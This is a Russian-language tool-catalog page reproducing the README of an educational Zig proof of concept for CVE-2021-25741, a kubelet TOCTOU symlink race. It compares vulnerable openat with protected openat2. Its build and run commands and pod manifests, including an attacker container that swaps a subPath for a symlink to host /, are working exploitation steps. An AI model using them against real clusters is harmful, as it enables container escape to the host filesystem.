Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ZigRaceExploit — CVE-2021-25741 POC in Zig | Kitploit
Инструменты/GitHubGitHub/glutenfree69/zigraceexploit
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationBinary Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 POC in Zig

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-25741 — TOCTOU гонка символьных ссылок в Zig

Образовательный эксплойт состояния гонки TOCTOU (Time Of Check, Time Of Use), которое лежит в основе CVE-2021-25741, уязвимости в kubelet Kubernetes.

Проект демонстрирует локально (без кластера K8s), как конкурентная подмена симлинка может обойти проверку пути между lstat() и open(), и доказывает, что openat2() с флагами RESOLVE_* является решением.

Содержание

  • Проблема
  • Как работает эксплойт
  • Архитектура кода
  • Предварительные требования
  • Сборка
  • Использование
    • Локальное тестирование с Docker
    • Сравнение openat vs openat2
    • Настройка задержки TOCTOU
    • Тестирование на реальном узле Kubernetes
  • Ожидаемые результаты
  • Пояснение кода
  • Используемые системные вызовы Linux
  • Отладка с strace
  • Ссылки

Проблема

Разрешение путей в Linux

Когда ядро разрешает путь, например /a/b/c/file, оно делает это компонент за компонентом. На каждом шаге, если компонент является симлинком, ядро автоматически следует за ним. Это разрешение не атомарно — файловая система может измениться между двумя шагами.

TOCTOU в kubelet

kubelet Kubernetes в точности реализовывал этот уязвимый шаблон:

root@kitploit:~
1. ПРОВЕРКА: lstat(subPath) → "это каталог, всё безопасно"
     ↕ ОКНО ГОНКИ — процесс в контейнере заменяет каталог на симлинк
2. ИСПОЛЬЗОВАНИЕ: mount(subPath) → следует за симлинком, монтирует файловую систему хоста

Между проверкой и монтированием вредоносный процесс в контейнере мог заменить subPath на симлинк, ведущий на / хоста, получив полный доступ к файловой системе хоста.

Исправление: openat2(2)

Системный вызов openat2 (ядро 5.6+) разрешает путь и открывает файл атомарно, с ограничениями:

С openat2 нет окна TOCTOU: если симлинк появляется во время разрешения, системный вызов немедленно завершается ошибкой.


Как работает эксплойт

Два потока взаимодействуют для эксплуатации окна TOCTOU:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → содержит "LEGIT"
├── symlink_target/
│   └── secret.txt  → содержит "PWNED"
└── target/          → переключается между реальным каталогом и симлинком

Поток Racer

Бесконечно быстро переключает target/ между двумя состояниями с помощью renameat2(RENAME_EXCHANGE):

  • Состояние A: target/ — реальный каталог (содержит secret.txt = "LEGIT")
  • Состояние B: target/ — симлинк на symlink_target/ (содержит secret.txt = "PWNED")

Один системный вызов на переключение = максимальное окно гонки.

Поток Victim (имитирует kubelet)

Воспроизводит уязвимый шаблон kubelet:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — проверяет, что это каталог
  2. Опциональная пауза (имитирует задержку kubelet между проверкой и использованием)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — открывает файл
  4. read() — читает содержимое
  5. Если содержимое == "PWNED" → race win (симлинк был использован)
  6. Если содержимое == "LEGIT" → race loss (это был реальный каталог)

В защищённом режиме (--use-openat2) шаг 3 использует openat2 с RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Если присутствует симлинк, ядро возвращает ELOOP вместо того, чтобы следовать за ним.


Архитектура кода

root@kitploit:~
src/
├── main.zig       # Точка входа: разбор CLI, создание разделяемого состояния, запуск
│                  # потоков, измерение времени, вывод результатов
│
├── racer.zig      # Поток Racer: подготовка начального состояния (target → симлинк),
│                  # затем цикл renameat2(RENAME_EXCHANGE) для непрерывного
│                  # переключения target/ и legit_dir/
│
├── victim.zig     # Поток Victim: цикл N итераций fstatat → задержка →
│                  # openat/openat2 → read → сравнение "LEGIT" vs "PWNED"
│
├── setup.zig      # Создание тестовой структуры: workdir/, legit_dir/,
│                  # symlink_target/, target/ с файлами-маяками
│
├── syscalls.zig   # Константы и обёртки для сырых системных вызовов:
│                  # - структура open_how (UAPI ядра, 3×u64)
│                  # - флаги RESOLVE_*
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() через linux.syscall4(.openat2, ...)
│                  # - rename_exchange() через linux.renameat2()
│                  # - Вспомогательные: is_err(), to_errno(), to_fd()
│
└── stats.zig      # Атомарные счётчики без блокировок (std.atomic.Value(u64))
                   # для wins, losses, errors, eloop + форматированный вывод

Все системные вызовы вызываются напрямую через std.os.linux.* (без обёрток std.fs или std.posix). Единственный системный вызов без обёртки в стандартной библиотеке Zig 0.15 — это openat2, который вызывается через linux.syscall4(.openat2, ...) с вручную определённой структурой open_how из заголовков UAPI ядра.


Предварительные требования

ИнструментВерсияЗачем
Zig0.15.xКомпилятор + кросс-компиляция

Бинарник компилируется в статически (musl libc) и работает на любом Linux без зависимостей.

Минимальное ядро:

  • 3.15+ для renameat2(RENAME_EXCHANGE)
  • 5.6+ для openat2 с RESOLVE_* (требуется только для --use-openat2)

Docker Desktop и colima на Mac используют ядро 6.x — всё поддерживается.


Сборка

Кросс-компиляция Mac → Linux

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (для узлов x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

Бинарник находится в zig-out/bin/race-exploit.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

Использование

Локальное тестирование с Docker

root@kitploit:~
# Запуск среды Docker (если macOS)
colima start

# Запуск эксплойта (по умолчанию уязвимый режим)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

Сравнение openat vs openat2

root@kitploit:~
# Уязвимый режим (openat) — гонка работает
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Защищённый режим (openat2) — гонка заблокирована
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

Или с помощью скрипта, запускающего оба режима:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

Настройка задержки TOCTOU

Параметр --delay-us добавляет задержку между lstat (проверка) и openat (использование). Чем больше задержка, тем шире окно TOCTOU, и тем выше win rate:

root@kitploit:~
# Без задержки — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1мс) — win rate ~50% (ограничен, racer переключается намного быстрее)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

В реальном kubelet задержка между проверкой subPath и bind-монтированием составляет несколько миллисекунд (вызовы API, подготовка пространства имён монтирования и т.д.), что делает гонку очень надёжной в реальных условиях.

Полные параметры CLI

root@kitploit:~
race-exploit [options]
  --iterations N     Количество попыток (по умолчанию: 10000)
  --delay-us N       Микросекунды между lstat и open (по умолчанию: 0)
  --use-openat2      Использовать openat2 с RESOLVE_* (защищённый режим)
  --workdir PATH     Рабочий каталог (по умолчанию: /tmp/race-workdir)
  --help             Показать справку

Тестирование на реальном узле Kubernetes

Эксплойту не нужен Kubernetes для работы — это фундаментальное состояние гонки Linux. Но вы можете запустить его на реальном узле, чтобы протестировать в тех же условиях, что и kubelet.

Вариант 1: запуск напрямую на узле

root@kitploit:~
# Кросс-компиляция для архитектуры узла
# ARM64 (EKS с Graviton, GKE с T2A и т.д.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# или x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Копирование бинарника на узел
scp zig-out/bin/race-exploit user@node:/tmp/

# Запуск на узле
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Проверка версии ядра (>= 5.6 для openat2)
ssh user@node uname -r

Вариант 2: запуск из пода Kubernetes

Создать под, который содержит бинарник и выполняет его:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # бинарник должен быть предварительно скопирован сюда
  restartPolicy: Never
root@kitploit:~
# Сначала скопировать бинарник на узел
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Запустить под
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

Вариант 3: воспроизведение реальной CVE с subPath

Чтобы воспроизвести точный сценарий CVE-2021-25741, необходимо эксплуатировать гонку, пока kubelet подготавливает bind-монтирование тома с subPath:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Этот скрипт работает в контейнере и переключает subPath,
      # пока kubelet подготавливает монтирование
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← kubelet проверяет, а затем монтирует этот путь
  volumes:
  - name: shared-vol
    emptyDir: {}

Важно: эта атака работает только на неисправленных kubelet (версии < 1.22.2, < 1.21.5, < 1.20.11). Современные kubelet используют openat2 с RESOLVE_NO_SYMLINKS для разрешения subPath.

Чтобы проверить, уязвим ли ваш kubelet:

root@kitploit:~
# Версия kubelet
kubectl get nodes -o wide

# Проверить, используется ли openat2 в kubelet (на узле)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

Ожидаемые результаты

openat (уязвимый)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (защищённый)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

Ключевые наблюдения:

  • "Total attempts" меньше запрошенного количества итераций, потому что многие проходы цикла пропускаются (lstat видит симлинк и не пытается открыть)
  • В режиме openat ~25% попыток приводят к win (прочитан файл "PWNED")
  • В режиме openat2 0% wins — каждая попытка, когда racer переключил, обнаруживается ядром, которое возвращает ELOOP
  • Количество ELOOP точно соответствует wins в режиме openat: это тот же процент, но заблокированный

Пояснение кода

syscalls.zig — основные строительные блоки

Файл определяет константы, отсутствующие в стандартной библиотеке Zig 0.15:

root@kitploit:~
// renameat2(2): атомарная замена двух записей файловой системы
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2): структура, передаваемая в системный вызов
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY и т.д.
    mode: u64 = 0,    // права доступа (если O_CREAT)
    resolve: u64 = 0, // флаги RESOLVE_*
};

// Флаги разрешения для open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // запретить все симлинки
pub const RESOLVE_BENEATH: u64 = 0x08;     // запретить выход за пределы dirfd

openat2 вызывается через linux.syscall4(.openat2, ...), потому что Zig 0.15 имеет номер системного вызова, но не имеет обёртки.

racer.zig — атакующий поток

При запуске он превращает target/ в симлинк на symlink_target/, а затем циклически выполняет два renameat2(RENAME_EXCHANGE), которые переключают target и legit_dir:

root@kitploit:~
Итерация 1: target=dir,     legit_dir=symlink  ← victim видит каталог, открывает нормально
Итерация 2: target=symlink, legit_dir=dir      ← victim следует за симлинком → PWNED

victim.zig — поток kubelet

Воспроизводит lstat → задержка → openat/openat2 → read → сравнение. Результаты подсчитываются в атомарных счётчиках без блокировок (fetchAdd с ordering .monotonic).

setup.zig — тестовая структура

Создаёт дерево с помощью mkdirat, openat(O_CREAT) и write — все через сырые системные вызовы. Два файла-маяка: "LEGIT" в реальном каталоге, "PWNED" в цели симлинка.


Используемые системные вызовы Linux


Отладка с strace

root@kitploit:~
# Трассировка всех системных вызовов обоих потоков
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Фильтрация интересующих системных вызовов
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# Просмотр ELOOP от openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

Примечание: strace не установлен по умолчанию в Alpine. Используйте alpine:edge или установите с помощью apk add strace:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

Ссылки

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — исправление
  • man 2 renameat2 — атомарная замена
  • man 2 fstatat — lstat без следования симлинкам
  • Symlinks and path resolution — Star Lab
Скачать инструмент
ФлагЭффект
RESOLVE_NO_SYMLINKSОтказывается следовать любым симлинкам → возвращает ELOOP
RESOLVE_BENEATHЗапрещает выход за пределы базового каталога → возвращает EXDEV
RESOLVE_IN_ROOTОбрабатывает dirfd как корень файловой системы
RESOLVE_NO_XDEVЗапрещает пересечение точек монтирования
DockerлюбаяДля запуска Linux-бинарника на Mac
colimaлюбаяСреда выполнения Docker на macOS (или Docker Desktop)
Системный вызовРоль в эксплойтеОбёртка Zig
renameat2(RENAME_EXCHANGE)Атомарное переключение target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat: проверка, является ли target каталогом или симлинкомlinux.fstatat()
openat(O_RDONLY)Открытие файла с следованием симлинкам (уязвимо)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)Открытие файла с запретом симлинков (исправление)linux.syscall4(.openat2, ...)
symlinkatСоздание начального симлинка target → symlink_targetlinux.symlinkat()
unlinkatУдаление target перед повторным созданием как симлинкаlinux.unlinkat()
mkdiratСоздание тестовых каталоговlinux.mkdirat()
read / write / closeВвод-вывод файлов-маяковlinux.read() / linux.write() / linux.close()